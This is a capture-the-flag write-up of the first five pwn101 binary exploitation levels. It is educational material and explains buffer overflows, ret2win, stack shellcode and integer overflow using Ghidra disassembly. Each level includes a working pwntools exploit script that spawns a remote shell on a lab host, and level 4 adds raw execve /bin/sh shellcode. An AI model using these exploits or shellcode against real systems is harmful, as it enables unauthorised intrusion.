pwn101 part 1
Welcome to this websites first writeup, today we’re going to go through the pwn101 room challenges, a series of binary exploitation exercises which provide a good starting point for learning binary exploitation and hacking in general.
Level 1
The first level consists of a simple buffer overflow, which we probe for by flooding the input buffer we are given to see if we can crash the program.
We can see the moment the buffer gets overran it executes "/bin/sh".
Great! First one was easy, now we just have to make a python script and send it over to the vulnerable server. I used pwntools for this.
from pwn import *
context.binary = binary = "./challenge1"
payload = b"A"*((0x40-0x4)+1)
#p = process()
p = remote("10.10.145.15", 9001)
p.recv()
p.sendline(payload)
p.interactive()
Level 2
We try the same tactic for the second challenge, however it doesn’t crash the program:
So we do what anyone would do when the plain old method doesnt work and see what changed, by running checksec and ghidra on the binary.(standard procedure from now on)
deadeye@Win-10:~/Documents/cracks/pwn101/challenge2$ checksec --file=challenge2
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 73 Symbols No 0 1 challenge2
0010091a c7 45 fc MOV dword ptr [RBP + local_c],0xbadf00d
0d f0 ad 0b
00100921 c7 45 f8 MOV dword ptr [RBP + local_10],0xfee1dead
ad de e1 fe
00100928 8b 55 f8 MOV EDX,dword ptr [RBP + local_10]
0010092b 8b 45 fc MOV EAX,dword ptr [RBP + local_c]
0010092e 89 c6 MOV ESI,EAX
00100930 48 8d 3d LEA RDI,[s_I_need_%x_to_%x_Am_I_right?_00100b49] = "I need %x to %x\nAm I right? "
12 02 00 00
00100937 b8 00 00 MOV EAX,0x0
00 00
0010093c e8 ef fd CALL <EXTERNAL>::printf int printf(char * __format, ...)
ff ff
00100941 48 8d 45 90 LEA RAX=>local_78,[RBP + -0x70]
00100945 48 89 c6 MOV RSI,RAX
00100948 48 8d 3d LEA RDI,[DAT_00100b66] = 25h %
17 02 00 00
0010094f b8 00 00 MOV EAX,0x0
00 00
00100954 e8 f7 fd CALL <EXTERNAL>::__isoc99_scanf undefined __isoc99_scanf()
ff ff
00100959 81 7d fc CMP dword ptr [RBP + local_c],0xc0ff33
33 ff c0 00
00100960 75 30 JNZ LAB_00100992
00100962 81 7d f8 CMP dword ptr [RBP + local_10],0xc0d3
d3 c0 00 00
00100969 75 27 JNZ LAB_00100992
0010096b 8b 55 f8 MOV EDX,dword ptr [RBP + local_10]
0010096e 8b 45 fc MOV EAX,dword ptr [RBP + local_c]
00100971 89 c6 MOV ESI,EAX
00100973 48 8d 3d LEA RDI,[s_Yes,_I_need_%x_to_%x_00100b69] = "Yes, I need %x to %x\n"
ef 01 00 00
0010097a b8 00 00 MOV EAX,0x0
00 00
0010097f e8 ac fd CALL <EXTERNAL>::printf int printf(char * __format, ...)
ff ff
00100984 48 8d 3d LEA RDI,[s_/bin/sh_00100b7f] = "/bin/sh"
f4 01 00 00
0010098b e8 90 fd CALL <EXTERNAL>::system int system(char * __command)
ff ff
00100990 eb 16 JMP LAB_001009a8
We notice that scanf gets called to handle our input, which is an unsafe function that only knows when to stop when it encounters a space " “. We also notice that if we manage to change local_c and local_10 to 0xc0ff33 and 0xc0d3 respectively, we get a shell.But how are we going to do this? well because we know that we scanf never stops we can overflow the stack until we reach the address in memory where these variables are stored, and our python script will look like this:
from pwn import *
context.binary = binary = "./challenge2"
payload = b"A"*0x68 + p32(0xc0d3) + p32(0xc0ff33)
#p = process()
p = remote("10.10.212.27", 9002)
p.recv()
p.sendline(payload)
p.interactive()
Why wrap them in p32( )? it’s because of endianness, computers(most of them) see everything in little endian format which starts with the least significant byte first, so the big endian 0xc0ff33 would look more like 0x33ffc0 to the computer.Watch a much better explanation here
Level 3
After exploring the binary for a little bit we find a discord-like general chat which we quickly raid with a load of “A"s
🗣 General:
------[jopraveen]: Hello pwners 👋
------[jopraveen]: Hope you're doing well 😄
------[jopraveen]: You found the vuln, right? 🤔
------[pwner]: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Try harder!!! 💪
zsh: segmentation fault ./challenge3
decompiling the binary with ghidra shows an interesting function which is never called in main( ) called admins_only( ).
undefined admins_only()
undefined AL:1 <RETURN>
admins_only XREF[3]: Entry Point(*), 004033b8,
00403540(*)
00401554 55 PUSH RBP
00401555 48 89 e5 MOV RBP,RSP
00401558 48 83 ec 10 SUB RSP,0x10
0040155c 48 8d 05 LEA RAX,[DAT_00403267] = 0Ah
04 1d 00 00
00401563 48 89 c7 MOV RDI=>DAT_00403267,RAX = 0Ah
00401566 e8 d5 fa CALL <EXTERNAL>::puts int puts(char * __s)
ff ff
0040156b 48 8d 05 LEA RAX,[DAT_0040327c] = 57h W
0a 1d 00 00
00401572 48 89 c7 MOV RDI=>DAT_0040327c,RAX = 57h W
00401575 e8 c6 fa CALL <EXTERNAL>::puts int puts(char * __s)
ff ff
0040157a 48 8d 05 LEA RAX,[s_/bin/sh_0040328f] = "/bin/sh"
0e 1d 00 00
00401581 48 89 c7 MOV RDI=>s_/bin/sh_0040328f,RAX = "/bin/sh"
00401584 e8 c7 fa CALL <EXTERNAL>::system int system(char * __command)
ff ff
00401589 90 NOP
0040158a c9 LEAVE
0040158b c3 RET
To understand what we’re doing here, we first need to get familiar with what a functions prologue and epilogue is. The prologue simply initialises a new stack for the function and also allocates some bytes for its variables like so:
00401554 55 PUSH RBP
00401555 48 89 e5 MOV RBP,RSP
00401558 48 83 ec 10 SUB RSP,0x10
(You might see the first two replaced by an ENTER instruction, does the same thing.)
The prologue on the other hand, does the exact opposite,by retrieving the old RBP base pointer and returning to execute the last memory address which it saved on the stack before entering the function:
00401589 90 NOP
0040158a c9 LEAVE
0040158b c3 RET
Our plan is to replace the memory address RET returns to from memory with the memory address of the admins_only( ) function by overflowing the buffer with junk up to that point. Our python script will look something like this (remember p64 ( )):
from pwn import *
context.binary = binary = ELF("./challenge3")
'''
Option 3 is vulnerable
scanf writes data from rbp-0x20
'''
admin_only_address = p64(binary.symbols.admins_only)
payload = b"A"*0x20 + b"B"*0x8 + admin_only_address
ret2 = admin_only_address
#p = process()
p = remote("10.10.5.146", 9003)
p.sendline(b"3")
p.sendline(payload + ret2)
p.interactive()
Level 4
As we can see this program spits out a seemingly random address at runtime. That is becuase of ASLR(address space layout randomization) a computer security measure meant to make it harder for us to exploit buffer overflows. It’s also at the OS level so disabling it would not only bring inconvenience but also create an unrealistic situation, because ASLR is enabled by default on most computers noawadays…
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 46 Symbols No 0 2 challenge4
Running checksec on our binary however does reveal something interesting. The NX bit is disabled, which is meant to not allow execution of things on the stack.
We also notice something interesting in ghidra
undefined main()
undefined AL:1 <RETURN>
undefined1 Stack[-0x58]:1 local_58 XREF[2]: 00401216(*),
00401231(*)
main XREF[4]: Entry Point(*),
_start:0040108d(*), 004021e0,
004022c0(*)
004011cd 55 PUSH RBP
004011ce 48 89 e5 MOV RBP,RSP
004011d1 48 83 ec 50 SUB RSP,0x50 ; 80 in decimal
004011d5 b8 00 00 MOV EAX,0x0
00 00
004011da e8 77 ff CALL setup undefined setup()
ff ff
... ... ... ... ...
<SNIP> <SNIP> <SNIP>
... ... ... ... ...
00401224 48 89 c7 MOV RDI=>s_I'm_waiting_for_you_at_%p_00402190,RAX = "I'm waiting for you at %p\n"
00401227 b8 00 00 MOV EAX,0x0
00 00
0040122c e8 0f fe CALL <EXTERNAL>::printf int printf(char * __format, ...)
ff ff
00401231 48 8d 45 b0 LEA RAX=>local_58,[RBP + -0x50]
00401235 ba c8 00 MOV EDX,0xc8 ;200 in decimal
00 00
0040123a 48 89 c6 MOV RSI,RAX
0040123d bf 00 00 MOV EDI,0x0
00 00
00401242 b8 00 00 MOV EAX,0x0
00 00
00401247 e8 04 fe CALL <EXTERNAL>::read ssize_t read(int __fd, void * __
ff ff
This time the function itself is not vulnerable, but rather human error came into play: Notice that when the stack is initialised, it only allocates 80 bytes, however when the read function is called, it allows to read a buffer of up to 200 bytes, which obviously overflows the stack, the program also conveniently tells us the address of the rip on each execution. With this in mind we can prepare an exploit to execute shellcode we input from the stack. NOTE: not my shellcode, source here.
from pwn import *
context.binary = binary = "./challenge4"
context.log_level = "debug"
shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
#p = process()
p = remote("10.10.5.146", 9004)
p.recv()
output = p.recv()
buffer_address = int(output.split(b"at")[1].strip().decode("utf-8"), 16)
payload = shellcode + b"A"*(0x50 - len(shellcode)) + b"B" * 0x8 + p64(buffer_address)
p.sendline(payload)
p.interactive()
Level 5
I found this one to be quite easy, as I was lucky enough to insert two high but not too high numbers which when added result in an integer overflow, a vulnerability that affects the sign bit of integers. see more about it here at 8:54.
LAB_0010134b XREF[1]: 00101312(j)
0010134b 8b 45 f4 MOV EAX,dword ptr [RBP + local_14]
0010134e 89 c6 MOV ESI,EAX
00101350 48 8d 05 LEA RAX,[s__[*]_C:_%d_00102197] = "\n[*] C: %d"
40 0e 00 00
00101357 48 89 c7 MOV RDI=>s__[*]_C:_%d_00102197,RAX = "\n[*] C: %d"
0010135a b8 00 00 MOV EAX,0x0
00 00
0010135f e8 fc fc CALL <EXTERNAL>::printf int printf(char * __format, ...)
ff ff
00101364 48 8d 05 LEA RAX,[s__[*]_Popped_Shell_[*]_Switching_t_00102 = "\n[*] Popped Shell\n[*] Switc
3d 0e 00 00
0010136b 48 89 c7 MOV RDI=>s__[*]_Popped_Shell_[*]_Switching_t_00102 = "\n[*] Popped Shell\n[*] Switc
0010136e e8 bd fc CALL <EXTERNAL>::puts int puts(char * __s)
ff ff
00101373 48 8d 05 LEA RAX,[s_/bin/sh_001021dc] = "/bin/sh"
62 0e 00 00
0010137a 48 89 c7 MOV RDI=>s_/bin/sh_001021dc,RAX = "/bin/sh"
0010137d e8 ce fc CALL <EXTERNAL>::system int system(char * __command)
ff ff
00101382 eb 1f JMP LAB_001013a3
The program then compares the result with 0, and if it is negative jumps to the function above, popping a shell. The highest integer we can express in a signed 32 bit integer is 2,147,483,647, any more than this and we would overflow into the negative side.
from pwn import *
context.binary = binary = ELF("./challenge5")
p = remote("10.10.183.127", 9005)
payload1 = "2147483647"
payload2 = "1"
p.recv()
p.recv()
p.sendline(payload1)
p.sendline(payload2)
p.interactive()
This is it for now, see you in part 2!